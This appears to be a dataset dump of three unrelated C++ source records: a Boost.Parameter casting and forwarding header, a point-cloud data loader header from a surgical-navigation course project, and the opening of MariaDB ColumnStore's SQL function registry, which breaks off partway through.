text:
// Copyright Daniel Wallin 2006.
// Copyright Cromwell D. Enage 2017.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)

#ifndef BOOST_PARAMETER_AUX_PREPROCESSOR_IMPL_FUNCTION_CAST_HPP
#define BOOST_PARAMETER_AUX_PREPROCESSOR_IMPL_FUNCTION_CAST_HPP

#include <boost/parameter/config.hpp>

#if defined(BOOST_PARAMETER_HAS_PERFECT_FORWARDING)

namespace boost { namespace parameter { namespace aux {

    // Handles possible implicit casts.  Used by preprocessor.hpp
    // to normalize user input.
    //
    // cast<void*>::execute() is identity
    // cast<void*(X)>::execute() is identity
    // cast<void(X)>::execute() casts to X
    //
    // preprocessor.hpp uses this like this:
    //
    //     #define X(value, predicate)
    //         cast<void predicate>::execute(value)
    //
    //     X(something, *)
    //     X(something, *(predicate))
    //     X(something, (int))
    template <typename VoidExpr, typename Args>
    struct cast;
}}} // namespace boost::parameter::aux

#include <boost/parameter/aux_/use_default_tag.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename T, typename B>
    inline ::boost::parameter::aux::use_default_tag
        forward(::boost::parameter::aux::use_default_tag)
    {
        return ::boost::parameter::aux::use_default_tag();
    }
}}} // namespace boost::parameter::aux

#include <boost/mpl/bool.hpp>
#include <boost/mpl/if.hpp>

#if defined(BOOST_PARAMETER_CAN_USE_MP11)
#include <boost/mp11/integral.hpp>
#include <boost/mp11/utility.hpp>
#endif

namespace boost { namespace parameter { namespace aux {

    template <typename Args>
    struct cast<void*,Args>
    {
        template <typename T, typename B>
        struct apply
        {
            typedef typename ::boost::mpl
            ::if_<B,T,::boost::mpl::true_>::type type;
        };

#if defined(BOOST_PARAMETER_CAN_USE_MP11)
        template <typename T, typename B>
        using fn = ::boost::mp11::mp_if<B,T,::boost::mp11::mp_true>;
#endif
    };
}}} // namespace boost::parameter::aux

#include <boost/parameter/aux_/void.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Predicate, typename Args>
    struct cast<void*(Predicate),Args>
      : ::boost::parameter::aux::cast<void*,Args>
    {
    };
}}} // namespace boost::parameter::aux

#include <boost/mpl/placeholders.hpp>

namespace boost { namespace parameter { namespace aux {

    // This is a hack used in cast<> to turn the user supplied type,
    // which may or may not be a placeholder expression, into one,
    // so that it will be properly evaluated by mpl::apply.
    template <typename T, typename Dummy = ::boost::mpl::_1>
    struct as_placeholder_expr
    {
        typedef T type;
    };
}}} // namespace boost::parameter::aux

#if defined(BOOST_PARAMETER_CAN_USE_MP11)
#include <boost/mp11/list.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Target, typename Source, typename Args>
    struct apply_target_fn
    {
        using type = ::boost::mp11
        ::mp_apply_q<Target,::boost::mp11::mp_list<Source,Args> >;
    };
}}} // namespace boost::parameter::aux

#endif

#include <boost/mpl/apply.hpp>

#if defined(BOOST_PARAMETER_CAN_USE_MP11)
#include <boost/parameter/aux_/has_nested_template_fn.hpp>
#include <type_traits>
#else
#include <boost/type_traits/is_same.hpp>
#include <boost/type_traits/remove_const.hpp>
#include <boost/type_traits/remove_reference.hpp>
#endif

namespace boost { namespace parameter { namespace aux {

    template <typename Target, typename Source, typename Args>
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
    using is_target_same_as_source = ::std::is_same<
        typename ::std::remove_const<
            typename ::std::remove_reference<
                typename ::boost::mp11::mp_if<
                    ::boost::parameter::aux::has_nested_template_fn<Target>
                  , ::boost::parameter::aux
                    ::apply_target_fn<Target,Source,Args>
                  , ::boost::mpl::apply2<
                        ::boost::parameter::aux::as_placeholder_expr<Target>
                      , Source
                      , Args
                    >
                >::type
            >::type
        >::type
      , typename ::std::remove_const<Source>::type
    >;
#else   // !defined(BOOST_PARAMETER_CAN_USE_MP11)
    struct is_target_same_as_source
      : ::boost::mpl::if_<
            ::boost::is_same<
                typename ::boost::remove_const<
                    typename ::boost::remove_reference<
                        typename ::boost::mpl::apply2<
                            ::boost::parameter::aux
                            ::as_placeholder_expr<Target>
                          , Source
                          , Args
                        >::type
                    >::type
                >::type
              , typename ::boost::remove_const<Source>::type
            >
          , ::boost::mpl::true_
          , ::boost::mpl::false_
        >::type
    {
    };
#endif  // BOOST_PARAMETER_CAN_USE_MP11
}}} // namespace boost::parameter::aux

#if !defined(BOOST_PARAMETER_CAN_USE_MP11)
#include <boost/type_traits/add_const.hpp>
#include <boost/type_traits/is_const.hpp>
#endif

namespace boost { namespace parameter { namespace aux {

    // Covers the case where is_convertible<Source,Target> but not
    // is_same<Source,Target>.  Use cases are covered
    // by test/normalize_argument_types.cpp
    template <typename Source, typename Target>
    class cast_convert
    {
        typedef ::boost::parameter::aux::cast_convert<Source,Target> _self;

     public:
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
        using type = typename ::boost::mp11::mp_if<
            ::std::is_const<Source>
          , ::std::add_const<Target>
          , ::std::remove_const<Target>
        >::type;
#else
        typedef typename boost::mpl::eval_if<
            ::boost::is_const<Source>
          , ::boost::add_const<Target>
          , ::boost::remove_const<Target>
        >::type type;
#endif

     private:
        inline static typename _self::type
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
            _copy(typename ::std::remove_const<Target>::type value)
#else
            _copy(typename ::boost::remove_const<Target>::type value)
#endif
        {
            return value;
        }

     public:
        inline static typename _self::type evaluate(Source&& source)
        {
            return _self::_copy(source);
        }
    };

    template <typename Target, typename Source, typename Args>
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
    using cast_impl = ::std::remove_reference<
        typename ::boost::mp11::mp_if<
            ::boost::parameter::aux::has_nested_template_fn<Target>
          , ::boost::parameter::aux
            ::is_target_same_as_source<Target,Source,Args>
          , ::boost::mpl::apply2<
                ::boost::parameter::aux::as_placeholder_expr<Target>
              , Source
              , Args
            >
        >::type
    >;
#else
    struct cast_impl
      : ::boost::remove_reference<
            typename ::boost::mpl::apply2<
                ::boost::parameter::aux::as_placeholder_expr<Target>
              , Source
              , Args
            >::type
        >
    {
    };
#endif  // BOOST_PARAMETER_CAN_USE_MP11
}}} // namespace boost::parameter::aux

#include <boost/mpl/eval_if.hpp>
#include <boost/mpl/identity.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Target, typename Args>
    struct cast<void(Target),Args>
    {
        template <typename T, typename B>
        struct apply
        {
            typedef typename ::boost::mpl::eval_if<
                B
              , ::boost::mpl::eval_if<
                    ::boost::parameter::aux
                    ::is_target_same_as_source<Target,T,Args>
                  , ::boost::mpl::identity<T>
                  , ::boost::parameter::aux::cast_impl<Target,T,Args>
                >
              , ::boost::parameter::aux
                ::is_target_same_as_source<Target,T,Args>
            >::type type;
        };

#if defined(BOOST_PARAMETER_CAN_USE_MP11)
        template <typename T, typename B>
        using fn = typename ::boost::mp11::mp_if<
            B
          , ::boost::mp11::mp_if<
                ::boost::parameter::aux
                ::is_target_same_as_source<Target,T,Args>
              , ::boost::mp11::mp_identity<T>
              , ::boost::parameter::aux::cast_impl<Target,T,Args>
            >
          , ::boost::parameter::aux
            ::is_target_same_as_source<Target,T,Args>
        >::type;
#endif
    };
}}} // namespace boost::parameter::aux

#include <boost/parameter/value_type.hpp>

#if !defined(BOOST_PARAMETER_CAN_USE_MP11)
#include <boost/mpl/apply_wrap.hpp>
#endif

// Expands to the target type of the argument as indicated by the predicate.
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
#define BOOST_PARAMETER_FUNCTION_CAST_T(tag, predicate, args)                \
    ::boost::mp11::mp_apply_q<                                               \
        ::boost::parameter::aux::cast<void predicate, args>                  \
      , ::boost::mp11::mp_list<                                              \
            typename ::boost::parameter::value_type<                         \
                args                                                         \
              , tag                                                          \
              , ::boost::parameter::aux::use_default_tag                     \
            >::type                                                          \
          , ::boost::mp11::mp_true                                           \
        >                                                                    \
    >
/**/
#else   // !defined(BOOST_PARAMETER_CAN_USE_MP11)
#define BOOST_PARAMETER_FUNCTION_CAST_T(tag, predicate, args)                \
    typename ::boost::mpl::apply_wrap2<                                      \
        ::boost::parameter::aux::cast<void predicate, args>                  \
      , typename ::boost::parameter::value_type<                             \
            args                                                             \
          , tag                                                              \
          , ::boost::parameter::aux::use_default_tag                         \
        >::type                                                              \
      , ::boost::mpl::true_                                                  \
    >::type
/**/
#endif  // BOOST_PARAMETER_CAN_USE_MP11

// Expands to boost::mpl::true_ if and only if the argument's source and
// target types are the same.
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
#define BOOST_PARAMETER_FUNCTION_CAST_B(tag, predicate, args)                \
    ::boost::mp11::mp_apply_q<                                               \
        ::boost::parameter::aux::cast<void predicate, args>                  \
      , ::boost::mp11::mp_list<                                              \
            typename ::boost::parameter::value_type<                         \
                args                                                         \
              , tag                                                          \
              , ::boost::parameter::aux::use_default_tag                     \
            >::type                                                          \
          , ::boost::mp11::mp_false                                          \
        >                                                                    \
    >
/**/
#else   // !defined(BOOST_PARAMETER_CAN_USE_MP11)
#define BOOST_PARAMETER_FUNCTION_CAST_B(tag, predicate, args)                \
    typename ::boost::mpl::apply_wrap2<                                      \
        ::boost::parameter::aux::cast<void predicate, args>                  \
      , typename ::boost::parameter::value_type<                             \
            args                                                             \
          , tag                                                              \
          , ::boost::parameter::aux::use_default_tag                         \
        >::type                                                              \
      , ::boost::mpl::false_                                                 \
    >::type
/**/
#endif  // BOOST_PARAMETER_CAN_USE_MP11

#include <boost/core/enable_if.hpp>
#include <utility>

namespace boost { namespace parameter { namespace aux {

    // If the source and target types are not the same,
    // then perform an implicit conversion.
    template <typename Target, typename B, typename Source>
    inline typename ::boost::lazy_disable_if<
        B
      , ::boost::parameter::aux::cast_convert<Source,Target>
    >::type
        forward(Source&& source)
    {
        return ::boost::parameter::aux::cast_convert<Source,Target>
        ::evaluate(::std::forward<Source>(source));
    }

    // If the source and target types are the same,
    // then simply forward the argument.
    // However, treat rvalue references to scalars as const lvalue references.
    template <typename T, typename B>
    inline typename ::boost::enable_if<B,T const&>::type forward(T const& t)
    {
        return t;
    }

    template <typename T, typename B>
    inline typename ::boost::enable_if<
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
        ::boost::mp11::mp_if<
            B
          , ::boost::mp11::mp_if<
                ::std::is_const<T>
              , ::boost::mp11::mp_false
              , ::boost::mp11::mp_true
            >
          , ::boost::mp11::mp_false
        >
#else
        typename ::boost::mpl::eval_if<
            B
          , ::boost::mpl::if_<
                ::boost::is_const<T>
              , ::boost::mpl::false_
              , ::boost::mpl::true_
            >
          , ::boost::mpl::false_
        >::type
#endif  // BOOST_PARAMETER_CAN_USE_MP11
      , T&
    >::type
        forward(T& t)
    {
        return t;
    }
}}} // namespace boost::parameter::aux

#include <boost/type_traits/is_scalar.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename T, typename B>
    inline typename ::boost::enable_if<
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
        ::boost::mp11::mp_if<
            B
          , ::boost::mp11::mp_if<
                ::std::is_scalar<T>
              , ::boost::mp11::mp_false
              , ::boost::mp11::mp_true
            >
          , ::boost::mp11::mp_false
        >
#else
        typename ::boost::mpl::eval_if<
            B
          , ::boost::mpl::if_<
                ::boost::is_scalar<T>
              , ::boost::mpl::false_
              , ::boost::mpl::true_
            >
          , ::boost::mpl::false_
        >::type
#endif  // BOOST_PARAMETER_CAN_USE_MP11
      , T const&&
    >::type
        forward(T const&& t)
    {
        return static_cast<T const&&>(t);
    }

    template <typename T, typename B>
    inline typename ::boost::enable_if<
#if defined(BOOST_PARAMETER_CAN_USE_MP11)
        ::boost::mp11::mp_if<
            B
          , ::boost::mp11::mp_if<
                ::std::is_scalar<T>
              , ::boost::mp11::mp_false
              , ::boost::mp11::mp_true
            >
          , ::boost::mp11::mp_false
        >
#else
        typename ::boost::mpl::eval_if<
            B
          , ::boost::mpl::if_<
                ::boost::is_scalar<T>
              , ::boost::mpl::false_
              , ::boost::mpl::true_
            >
          , ::boost::mpl::false_
        >::type
#endif  // BOOST_PARAMETER_CAN_USE_MP11
      , T&&
    >::type
        forward(T&& t)
    {
        return ::std::forward<T>(t);
    }
}}} // namespace boost::parameter::aux

#elif BOOST_WORKAROUND(BOOST_BORLANDC, BOOST_TESTED_AT(0x564))
#define BOOST_PARAMETER_FUNCTION_CAST_T(value_t, predicate, args) value_t
#define BOOST_PARAMETER_FUNCTION_CAST_B(value, predicate, args) value
#else   // no perfect forwarding support and no Borland workarounds needed

namespace boost { namespace parameter { namespace aux {

    // Handles possible implicit casts.  Used by preprocessor.hpp
    // to normalize user input.
    //
    // cast<void*>::execute() is identity
    // cast<void*(X)>::execute() is identity
    // cast<void(X)>::execute() casts to X
    //
    // preprocessor.hpp uses this like this:
    //
    //     #define X(value, predicate)
    //         cast<void predicate>::execute(value)
    //
    //     X(something, *)
    //     X(something, *(predicate))
    //     X(something, (int))
    template <typename VoidExpr, typename Args>
    struct cast;
}}} // namespace boost::parameter::aux

#include <boost/parameter/aux_/use_default_tag.hpp>
#include <boost/mpl/bool.hpp>
#include <boost/mpl/if.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Args>
    struct cast<void*,Args>
    {
        template <typename T>
        struct apply
        {
            typedef T& type;
        };

        inline static ::boost::parameter::aux::use_default_tag
            execute(::boost::parameter::aux::use_default_tag)
        {
            return ::boost::parameter::aux::use_default_tag();
        }

        template <typename U>
        inline static U& execute(U& value)
        {
            return value;
        }
    };
}}} // namespace boost::parameter::aux

#include <boost/parameter/aux_/void.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Predicate, typename Args>
#if BOOST_WORKAROUND(__SUNPRO_CC, BOOST_TESTED_AT(0x580))
    struct cast< ::boost::parameter::aux::voidstar(Predicate),Args>
#else
    struct cast<void*(Predicate),Args>
#endif
      : ::boost::parameter::aux::cast<void*,Args>
    {
    };
}}} // namespace boost::parameter::aux

#include <boost/mpl/placeholders.hpp>

namespace boost { namespace parameter { namespace aux {

    // This is a hack used in cast<> to turn the user supplied type,
    // which may or may not be a placeholder expression, into one,
    // so that it will be properly evaluated by mpl::apply.
    template <typename T, typename Dummy = ::boost::mpl::_1>
    struct as_placeholder_expr
    {
        typedef T type;
    };
}}} // namespace boost::parameter::aux

#include <boost/mpl/apply.hpp>
#include <boost/type_traits/is_same.hpp>
#include <boost/type_traits/remove_const.hpp>
#include <boost/type_traits/remove_reference.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Target, typename Source, typename Args>
    struct is_target_same_as_source
      : ::boost::mpl::if_<
            ::boost::is_same<
                typename ::boost::remove_const<
                    typename ::boost::remove_reference<
                        typename ::boost::mpl::apply2<
                            ::boost::parameter::aux
                            ::as_placeholder_expr<Target>
                          , Source
                          , Args
                        >::type
                    >::type
                >::type
              , typename ::boost::remove_const<Source>::type
            >
          , ::boost::mpl::true_
          , ::boost::mpl::false_
        >::type
    {
    };

    template <
        typename Target
      , typename Source
      , typename Args
      , typename Enable = ::boost::parameter::aux
        ::is_target_same_as_source<Target,Source,Args>
    >
    struct cast_impl
    {
        typedef Source& type;

        inline static Source& evaluate(Source& value)
        {
            return value;
        }
    };
}}} // namespace boost::parameter::aux

#include <boost/type_traits/add_const.hpp>
#include <boost/type_traits/add_lvalue_reference.hpp>

namespace boost { namespace parameter { namespace aux {

    // Covers the case where is_convertible<Source,Target> but not
    // is_same<Source,Target>.  Use cases are covered
    // by test/normalize_argument_types.cpp
    template <typename Source, typename Target>
    class cast_convert
    {
        typedef ::boost::parameter::aux::cast_convert<Source,Target> _self;

     public:
        typedef typename ::boost::add_lvalue_reference<
            typename ::boost::add_const<Target>::type
        >::type type;

     private:
        template <typename U>
        inline static typename _self::type _mod_const(U const& u)
        {
            return u;
        }

        inline static Target _copy(Target value)
        {
            return value;
        }

     public:
        inline static typename _self::type evaluate(Source& source)
        {
            return _self::_mod_const(_self::_copy(source));
        }
    };

    template <typename Target, typename Source, typename Args>
    struct cast_impl<Target,Source,Args,::boost::mpl::false_>
      : ::boost::parameter::aux::cast_convert<
            Source,
            typename ::boost::mpl::apply2<
                ::boost::parameter::aux::as_placeholder_expr<Target>
              , Source
              , Args
            >::type
        >
    {
    };
}}} // namespace boost::parameter::aux

#include <boost/mpl/eval_if.hpp>

namespace boost { namespace parameter { namespace aux {

    template <typename Target, typename Args>
    struct cast<void(Target),Args>
    {
        template <typename T>
        struct apply
        {
            typedef typename ::boost::mpl::eval_if<
                    ::boost::parameter::aux
                    ::is_target_same_as_source<Target,T,Args>
                  , ::boost::add_lvalue_reference<T>
                  , ::boost::parameter::aux::cast_impl<
                        Target
                      , T
                      , Args
                      , ::boost::mpl::false_
                    >
            >::type type;
        };

        inline static ::boost::parameter::aux::use_default_tag
            execute(::boost::parameter::aux::use_default_tag)
        {
            return ::boost::parameter::aux::use_default_tag();
        }

        template <typename U>
        inline static typename ::boost::parameter::aux
        ::cast_impl<Target,U const,Args>::type
            execute(U const& value)
        {
            return ::boost::parameter::aux
            ::cast_impl<Target,U const,Args>::evaluate(value);
        }

        template <typename U>
        inline static typename ::boost::parameter::aux
        ::cast_impl<Target,U,Args>::type
            execute(U& value)
        {
            return ::boost::parameter::aux
            ::cast_impl<Target,U,Args>::evaluate(value);
        }
    };
}}} // namespace boost::parameter::aux

#include <boost/mpl/apply_wrap.hpp>
#include <boost/parameter/value_type.hpp>

// Expands to the reference-qualified target type of the argument
// as indicated by the predicate.
#define BOOST_PARAMETER_FUNCTION_CAST_T(tag, predicate, args)                \
    typename ::boost::mpl::apply_wrap1<                                      \
        ::boost::parameter::aux::cast<void predicate, args>                  \
      , typename ::boost::parameter::value_type<                             \
            args                                                             \
          , tag                                                              \
          , ::boost::parameter::aux::use_default_tag                         \
        >::type                                                              \
    >::type
/**/

// Expands to the converted or passed-through value
// as indicated by the predicate.
#define BOOST_PARAMETER_FUNCTION_CAST_B(value, predicate, args)              \
    ::boost::parameter::aux::cast<void predicate, args>::execute(value)
/**/

#endif  // perfect forwarding support, or Borland workarounds needed
#endif  // include guard


text:
#ifndef _POINT_DATA_HPP_
#define _POINT_DATA_HPP_

// library includes
#include <boost/filesystem.hpp>
#include <sstream>
#include <fstream>
#include <iostream>

// project includes
#include "PA1_2_DataConstants.hpp"
#include "parseCSV_CIS_pointCloud.hpp"

/// Source data after loading into memory
struct AlgorithmData {
	csvCIS_pointCloudData calbody     ;
	csvCIS_pointCloudData calreadings ;
	csvCIS_pointCloudData empivot     ;
	csvCIS_pointCloudData optpivot    ;
	csvCIS_pointCloudData output1     ;
	csvCIS_pointCloudData ct_fiducials;
	csvCIS_pointCloudData em_fiducials;
	csvCIS_pointCloudData em_nav      ;
	csvCIS_pointCloudData output2     ;
};

/// Paths to the files containing source data
struct DataSource {
    // filename prefix that goes in front of the filename string
    std::string  filenamePrefix   ;
    // full paths to the files
    std::string  calbodyPath      ;
    std::string  calreadingsPath  ;
    std::string  empivotPath      ;
    std::string  optpivotPath     ;
    std::string  output1Path      ;
	std::string  ct_fiducialsPath ;
	std::string  em_fiducialsPath ;
	std::string  em_navPath       ;
	std::string  output2Path      ;

};

struct ParsedCommandLineCommands {
    bool                    debug;
    bool                    debugParser;
    bool                    threads;
    std::string             outputDataFolderPath;
    std::vector<DataSource> dataSources;
};

/// Initialize an AlgorithmData object utilizing the data files stored in the specified path and file prefix,
/// utilizing the hard coded default filename suffixes. Used for unit testing.
AlgorithmData initAlgorithmData(std::string datafolderpath, std::string dataFilenamePrefix, bool debug = false){
    DataSource pclp;
    const bool required = true;
    // optional == not required == false
    const bool optional = false;
    // check if the user supplied a full path, if not assemble a path
    // from the default paths and the defualt prefix/suffix combos
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_calbody       ,pclp.calbodyPath      ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_calreadings   ,pclp.calreadingsPath  ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_empivot       ,pclp.empivotPath      ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_optpivot      ,pclp.optpivotPath     ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_output1       ,pclp.output1Path      ,optional);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_ct_fiducials  ,pclp.ct_fiducialsPath ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_em_fiducials  ,pclp.em_fiducialsPath ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_em_nav        ,pclp.em_navPath       ,required);
    assemblePathIfFullPathNotSupplied(datafolderpath,dataFilenamePrefix,dataFileNameSuffix_output2       ,pclp.output2Path      ,optional);

    AlgorithmData ad;
    loadPointCloudFromFile(pclp.calbodyPath       ,ad.calbody                    ,debug);
    loadPointCloudFromFile(pclp.calreadingsPath   ,ad.calreadings                ,debug);
    loadPointCloudFromFile(pclp.empivotPath       ,ad.empivot                    ,debug);
    loadPointCloudFromFile(pclp.optpivotPath      ,ad.optpivot                   ,debug);
    loadPointCloudFromFile(pclp.output1Path       ,ad.output1                    ,debug);
    loadPointCloudFromFile(pclp.ct_fiducialsPath  ,ad.ct_fiducials               ,debug);
    loadPointCloudFromFile(pclp.em_fiducialsPath  ,ad.em_fiducials               ,debug);
    loadPointCloudFromFile(pclp.em_navPath        ,ad.em_nav                     ,debug);
    loadPointCloudFromFile(pclp.output2Path       ,ad.output2                    ,debug);

    return ad;

}

#endif // _POINT_DATA_HPP_

ext: hpp

max_stars_repo_name: ahundt/cis

max_issues_repo_name: ahundt/cis

max_forks_repo_name: ahundt/cis


text:
/* Copyright (C) 2014 InfiniDB, Inc.
   Copyright (C) 2019 MariaDB Corporation

   This program is free software; you can redistribute it and/or
   modify it under the terms of the GNU General Public License
   as published by the Free Software Foundation; version 2 of
   the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
   MA 02110-1301, USA. */

/****************************************************************************
* $Id: funcexp.cpp 3954 2013-07-08 16:30:15Z bpaul $
*
*
****************************************************************************/

#include <boost/thread/mutex.hpp>

#include "funcexp.h"
#include "functor_all.h"
#include "functor_bool.h"
#include "functor_dtm.h"
#include "functor_int.h"
#include "functor_real.h"
#include "functor_str.h"
#include "functor_export.h"
#include "calpontsystemcatalog.h"
using namespace execplan;

#include "joblisttypes.h"
using namespace joblist;

#ifndef SKIP_UDF
#include "../udfsdk/udfsdk.h"
#endif

#include "mcs_decimal.h"

namespace funcexp
{

/* static */
FuncExp* FuncExp::fInstance = 0;

/* static */
boost::mutex FuncExp::fInstanceMutex;

FuncExp* FuncExp::instance()
{
    boost::mutex::scoped_lock lk(fInstanceMutex);

    if (!fInstance)
        fInstance = new FuncExp();

    return fInstance;
}

FuncExp::FuncExp()
{
    fFuncMap["<<"] = new Func_leftshift();
    fFuncMap[">>"] = new Func_rightshift();
    fFuncMap["|"] = new Func_bitor();
    fFuncMap["^"] = new Func_bitxor();
    fFuncMap["&"] = new Func_bitand();
    fFuncMap["abs"] = new Func_abs();
    fFuncMap["acos"] = new Func_acos();
    fFuncMap["add_time"] = new Func_add_time();
    fFuncMap["addtime"] = new Func_add_time();
    fFuncMap["subtime"] = new Func_add_time();
    fFuncMap["asin"] = new Func_asin();
    fFuncMap["ascii"] = new Func_ascii();
    fFuncMap["atan"] = new Func_atan();
    fFuncMap["atan2"] = new Func_atan();
    fFuncMap["between"] = new Func_between();
    fFuncMap["bit_count"] = new Func_bit_count();
    fFuncMap["case_searched"] = new Func_searched_case();
    fFuncMap["case_simple"] = new Func_simple_case();
    fFuncMap["cast_as_signed"] = new Func_cast_signed();	//dlh
    fFuncMap["cast_as_unsigned"] = new Func_cast_unsigned();	//dch
    fFuncMap["cast_as_char"] = new Func_cast_char();	//dlh
    fFuncMap["cast_as_date"] = new Func_cast_date();	//dlh
    fFuncMap["cast_as_datetime"] = new Func_cast_datetime();	//dlh
    fFuncMap["decimal_typecast"] = new Func_cast_decimal();	//dlh
    fFuncMap["double_typecast"] = new Func_cast_double();
    fFuncMap["ceil"] = new Func_ceil();	//dlh
    fFuncMap["ceiling"] = new Func_ceil();	//dlh
    fFuncMap["char"] = new Func_char();	//dlh
    fFuncMap["char_length"] = new Func_char_length();	//dlh
    fFuncMap["character_length"] = new Func_char_length();	//dlh
    fFuncMap["coalesce"] = new Func_coalesce();
    fFuncMap["concat_operator_oracle"] = new Func_concat_oracle();
    fFuncMap["concat"] = new Func_concat();
    fFuncMap["concat_ws"] = new Func_concat_ws();
    fFuncMap["conv"] = new Func_conv();
    fFuncMap["cos"] = new Func_cos();
    fFuncMap["cot"] = new Func_cot();
    fFuncMap["convert"] = new Func_cast_char();	//dlh
    fFuncMap["convert_tz"] = new Func_convert_tz(); //BT
    fFuncMap["crc32"] = new Func_crc32();
    fFuncMap["date_add_interval"] = new Func_date_add(); //dlh
    fFuncMap["date_format"] = new Func_date_format();
    fFuncMap["day"] = new Func_day();	//dlh
    fFuncMap["dayname"] = new Func_dayname();
    fFuncMap["dayofmonth"] = new Func_day();	//dlh
    fFuncMap["dayofweek"] = new Func_dayofweek();	//dlh
    fFuncMap["dayofyear"] = new Func_dayofyear();	//dlh
    fFuncMap["decode"] = new Func_decode(); // BT
    fFuncMap["decode_oracle"] = new Func_decode_oracle(); // BT
    fFuncMap["degrees"] = new Func_degrees();
    fFuncMap["DIV"] = new Func_div(); // MySQL use upper case for this function name
    fFuncMap["elt"] = new Func_elt();
    fFuncMap["encode"] = new Func_encode(); // BT
    fFuncMap["exp"] = new Func_exp();
    fFuncMap["extract"] = new Func_extract();	//dlh
    fFuncMap["find_in_set"] = new Func_find_in_set();
    fFuncMap["floor"] = new Func_floor();	//dlh
    fFuncMap["format"] = new Func_format();	//dlh
    fFuncMap["from_days"] = new Func_from_days();
    fFuncMap["from_unixtime"] = new Func_from_unixtime();
    fFuncMap["get_format"] = new Func_get_format();	//dlh
    fFuncMap["greatest"] = new Func_greatest();	//dlh
    fFuncMap["hex"] = new Func_hex();
    fFuncMap["hour"] = new Func_hour();	//dlh
    fFuncMap["idbpartition"] = new Func_idbpartition(); // pseudo column
    fFuncMap["if"] = new Func_if();
    fFuncMap["ifnull"] = new Func_ifnull();
    fFuncMap["in"] = new Func_in();
    fFuncMap[" IN "] = new Func_in();
    fFuncMap["inet_aton"] = new Func_inet_aton();
    fFuncMap["inet_ntoa"] = new Func_inet_ntoa();
    fFuncMap["insert"] = new Func_insert();
    fFuncMap["instr"] = new Func_instr();
    fFuncMap["isnull"] = new Func_isnull(false);
    fFuncMap["isnotnull"] = new Func_isnull(true);
    fFuncMap["istrue"] = new Func_IsTrue();
    fFuncMap["isnottrue"] = new Func_IsNotTrue();
    fFuncMap["isfalse"] = new Func_IsFalse();
    fFuncMap["isnotfalse"] = new Func_IsNotFalse();
    fFuncMap["last_day"] = new Func_last_day();
    fFuncMap["lcase"] = new Func_lcase();	//dlh
    fFuncMap["least"] = new Func_least();	//dlh
    fFuncMap["left"] = new Func_left();		//dlh
    fFuncMap["length"] = new Func_length();
    fFuncMap["octet_length"] = new Func_length(); // MariaDB 10.3
    fFuncMap["ln"] = new Func_log();
    fFuncMap["locate"] = new Func_instr();
    fFuncMap["log"] = new Func_log();
    fFuncMap["log2"] = new Func_log2();
    fFuncMap["log10"] = new Func_log10();
    fFuncMap["lower"] = new Func_lcase();	//dlh
    fFuncMap["lpad"] = new Func_lpad();	//dlh
    fFuncMap["ltrim"] = new Func_ltrim();	//dlh
    fFuncMap["ltrim_oracle"] = new Func_ltrim_oracle();   //dlh
    fFuncMap["makedate"] = new Func_makedate();
    fFuncMap["maketime"] = new Func_maketime();
    fFuncMap["microsecond"] = new Func_microsecond();
    fFuncMap["minute"] = new Func_minute();	//dlh
    fFuncMap["mod"] = new Func_mod();	//dlh
    fFuncMap["MOD"] = new Func_mod(); // MariaDB 10.3
    fFuncMap["%"] = new Func_mod();	//dlh
    fFuncMap["md5"] = new Func_md5();
    fFuncMap["mid"] = new Func_substr();
    fFuncMap["month"] = new Func_month();	//dlh
    fFuncMap["monthname"] = new Func_monthname();
    fFuncMap["notin"] = new Func_notin();
    fFuncMap["not IN "] = new Func_notin();
    fFuncMap["notbetween"] = new Func_notbetween();
    fFuncMap["nullif"] = new Func_nullif();
    fFuncMap["period_add"] = new Func_period_add();	//dlh
    fFuncMap["period_diff"] = new Func_period_diff();	//dlh
    fFuncMap["position"] = new Func_instr();	//dlh
    fFuncMap["pow"] = new Func_pow();
    fFuncMap["power"] = new Func_pow();
    fFuncMap["quote"] = new Func_quote();
    fFuncMap["quarter"] = new Func_quarter();
    fFuncMap["radians"] = new Func_radians();	//dlh
    fFuncMap["rand"] = new Func_rand();
    fFuncMap["regexp"] = new Func_regexp();	//dlh
    fFuncMap["repeat"] = new Func_repeat();	//dlh
    fFuncMap["replace"] = new Func_replace();	//dlh
    fFuncMap["replace_oracle"] = new Func_replace_oracle();   //dlh
    fFuncMap["reverse"] = new Func_reverse();	//dlh
    fFuncMap["right"] = new Func_right();	//dlh
    fFuncMap["round"] = new Func_round();
    fFuncMap["rpad"] = new Func_rpad();	//dlh
    fFuncMap["rtrim"] = new Func_rtrim();	//dlh
    fFuncMap["rtrim_oracle"] = new Func_rtrim_oracle();   //dlh
